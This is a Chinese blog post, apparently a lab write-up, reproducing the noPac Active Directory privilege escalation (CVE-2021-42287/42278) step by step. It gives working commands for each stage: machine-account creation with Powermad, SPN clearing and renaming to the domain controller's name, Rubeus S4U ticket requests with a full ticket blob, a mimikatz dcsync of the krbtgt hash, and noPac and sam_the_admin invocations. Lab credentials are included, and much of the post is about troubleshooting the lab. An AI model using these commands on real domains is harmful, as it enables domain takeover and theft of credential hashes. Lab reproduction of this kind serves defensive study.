0%

CVE-2021-42287/CVE-2021-42278复现

前言

CVE-2021-42278,机器账户的名字一般来说应该以$结尾,但AD没有对域内机器账户名做验证。

CVE-2021-42287,与上述漏洞配合使用,创建与DC机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self申请TGS Ticket,接着DC在TGS_REP阶段,这个账户不存在的时候,DC会使用自己的密钥加密TGS Ticket,提供一个属于该账户的PAC,然后我们就得到了一个高权限ST。

参考

https://mp.weixin.qq.com/s/Z3mI5eEc8-iudqdU7EZ3EQ

https://www.cnblogs.com/mrhonest/p/15682858.html

https://heibai.org.cn/2071.html

环境

域内普通用户

lab\user01 / Test.123

Win2008

Win2012

复现踩坑

创建域用户hello

这里使用一个域内普通用户进行登录 下载Powermad.ps1

1
2
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount hello -Domain lab.com -DomainController DC01.lab.com -Verbose
截图
截图

成功创建用户test

删除spn记录

1
2
3
Import-Module .\Powerview.ps1
Set-DomainObject "CN=hello,CN=Computers,DC=lab,DC=com" -Clear 'serviceprincipalname' -Verbose

先用setspn查一下

setspn -Q */* | findstr hola

截图


这里 我另起了一个powershell去引用桌面上的cmd 结果会报错 ,然后把powerview放在Powermad同目录下导入就不报错了.... (不知道为啥...)

截图

移动后就正常了

截图

(在win2012powershell下 Set-DomainObject没有这个东西???!!!)...

发现两个powerview.ps1 大小不一样 不是同一个 服了...... 一个700+K 一个300+K

然后去尝试删除spn 。。。

截图


重设机器名

1
Set-MachineAccountAttribute -MachineAccount hello -Value "DC01" -Attribute samaccountname -Verbose

改为域控名

截图

请求TGT

win2008下使用Rubeus.exe报错.......$#%@&@!#@!.......

去github上下载下来编译一下 然后在win2008上运行 说缺少.net4.0 然后去下载下来安装,结果安装超时了,这台机器的网络...

后面找了个 .net4.5免安装版就可用去使用Rebues。。。。


复现

创建机器用户hello

删除spn记录

截图

重新设置机器名

截图


请求TGT

截图


恢复原来的机器属性

截图


获取票据

1
2
3
Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:DC01.lab.com /self /altservice:LDAP/DC01.lab.com  /ptt /ticket:doIElDCCBJCgAwIBBaEDAgEWooIDvDCCA7hhggO0MIIDsKADAgEFoQkbB0xBQi5DT02iHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB2xhYi5jb22jggN+MIIDeqADAgESoQMCAQKiggNsBIIDaIW9iHW2Vv1XWw71Yc6V1rdL7m2Mwmzw+rj6X1OQqR1lNapte8JpgGMN/EW+0FWCqpkFBYYR0q+ljSY56LIpTNSYK2V4ZEPmBTv/iZtG3rvGdHafJxyD3b/GfWSVLt3c1Ev7LGf9mUP/tDzsxQ46mDgdbUiuB5B7/z9vaj7h71J8M2bkIUfeP4xgNcxR5PvLbQsyp6KE54WXRxpreU4ibz8vsplH3i8sKzrPFRM1w7m2XFBonMc1A3oElU16aHwIsDUew60eRa/wqAkIl9cmO7d/hSux+7aM7ta7Q3+JfnyOYjl0BQMbzK+gDdqtdcgkycjG/W/+EPbqUHin8wKrY3O8SHix2K1Dq0VIp+GegeiiSlLvk7q+1CixSbo2DxSFAkKDyTUx8YfqSTLzy6scD4Hyi8GSVZCNf2vCTL8KFpSHyPtMURaZitv5YOmBVlK0gq73cKTst6cGzCN0h9XLVOm+RGbjLShOWpsJ4P+9pKLS12PN9EgughEHbCen0Hv2dXLfe+dwDL6Gd5A+TYbsNIyfHrxLhcdu6H1bW6cKSZaXfASM/1RyXUA15O0b0y5uh8PpQd82ptvckHkSa2gHqamM08UsUs60H5OPzGRSvtNskOHgFkDYcX6MgKJNFOq+g+J/EKchSS0yIc
0iJPCoFLaTCSvlMmq3G5/4epI0gjwx6a6oeUTutxc8MfnHL2kAYxW7tgezuDxKVno4LZFVJWKbObrXctu2i16Dr7m5eLgyuKf5UQ41RiOUoTSLQUt4s2gq73/NG1MzwRmPq5Z+cWmXDzVual58Mm5W4fipIYqPg88Wnm+/WmxYi0ICQgxhJENaZQf3UM0fXKSjTzgVWHkFRfaGx4uaAqzn8MKs4FtCmSf+OVEf7QW0imtvDAsQNixLU8ZTF+OK6rZDs76GB43KUxlhPUTl7NE9kpzlwcef8HiRc4rSsc386/NeqsSDjZXgqYcAAQX7v0tNJ0lt+sRrg6GQT7YYHegOMQ9ywBgvdMVAFAzEPMnmW7GhHCOhubxHtDzAEDgkmpM0LXdE27m0acD6XyrRTPdf8slsKD1GliX5iW77L9+qqThwBmb9xRMFgNRFGJDE62g0SlY3+QY1IRpdAUqCuBHKctmeyWemDVBlJWbmqooHwBU3HwOxe8J+TPUevVBko4HDMIHAoAMCAQCigbgEgbV9gbIwga+ggawwgakwgaagGzAZoAMCARehEgQQHKpy33rwHG1c49Aha5Vzp6EJGwdMQUIuQ09NohEwD6ADAgEBoQgwBhsEREMwMaMHAwUAQOEAAKURGA8yMDIxMTIyMTA3MTEwN1qmERgPMjAyMTEyMjExNzExMDdapxEYDzIwMjExMjI4MDcxMTA3WqgJGwdMQUIuQ09NqRwwGqADAgECoRMwERsGa3JidGd0GwdsYWIuY29t

这里不管使用cmd 还是powershell 命令太长了被分成了两个......???

额 居然是在复制时候 太长notepad给自己换行了

截图


获取krbtgt用户的NTLM Hash

1
lsadump::dcsync /user:lab\krbtgt
截图


清除票据

klist purge


noPac

https://github.com/cube0x0/noPac

https://github.com/waterrr/noPac?ref=pythonawesome.com

在win2008下 提示需要 .Net4.0 结果安装失败了..

然后换win2012R2 的一台域机器去复现

0x01 扫描探测

noPac.exe -scan -domain lab.com -user user01 -pass Test.123 (这里密码加''会报错)

截图

复现失败,可用创建用户,但是再

然后尝试再这个普通域用户下去安装python 但是报错策略XX 失败 python安装也超时了 **@#¥@**@$@#

去尝试安装。net4.5 还是超时了 这个域环境是别人给我的 真***烂,PTT,PTK,PTH都实验不了 机器网也问题很大 能访问bing 别的访问不了....

踩完的后的利用。。。

扫描探测

noPac.exe scan -domain lab.com -user user01 -pass Test.123 这里密码处网上加的''但是这里我加上就会报错 不加的话可正常使用

截图
利用

./noPac.exe -domain attack.local -user oa -pass '!@#Qz123' /dc dc.attack.local /mAccount test123 /mPassword passW0rd /service cifs /ptt

ls \\DC01.lab.com\C$

截图


还有个python版的noPac 但是这台机器上的python是离线安装的 pip还不知道怎么安 ┭┮﹏┭┮ 踩坑踩了一天终于能复现到了


noPac(python)

https://github.com/waterrr/noPac?ref=pythonawesome.com


Sam_the_admin

CVE-2021-42287/CVE-2021-42278 Attack

Python 利用脚本:https://github.com/WazeHell/sam-the-admin

python3 sam_the_admin.py "redteam/saul:Red12345" -dc-ip 10.10.10.8 -shell

这个还没尝试 https://heibai.org.cn/2071.html


总结

这个洞复现踩了好多坑....用了一天的时间....

由于测试机器使用的域内普通用户,在下载、安装上都会受到限制,然后选择采取使用离线安装的方式去下载相关版本,只下载了免安装的.net 4.6和 py3.7 但是py3的pip还没整上去,后续的exp脚本就没有测试。

还有就是因为是在虚拟机上运行的,且是使用的域内普通用户,因此这个vmtools 无法直接从外面复制进来文件,而且在尝试直接使用python http服务去下载是 默认浏览器存在安全策略,而普通用户无法关闭,然后我去用administrator去关闭了IE安全策略后,还是存在安全策略,然后没法使用。只能通过在测试机器上去访问administrator目录下 从外面拖进来的所需要的文件

欢迎关注我的其它发布渠道

------------- 💖 🌞 本 文 结 束 😚 感 谢 您 的 阅 读 🌞 💖 -------------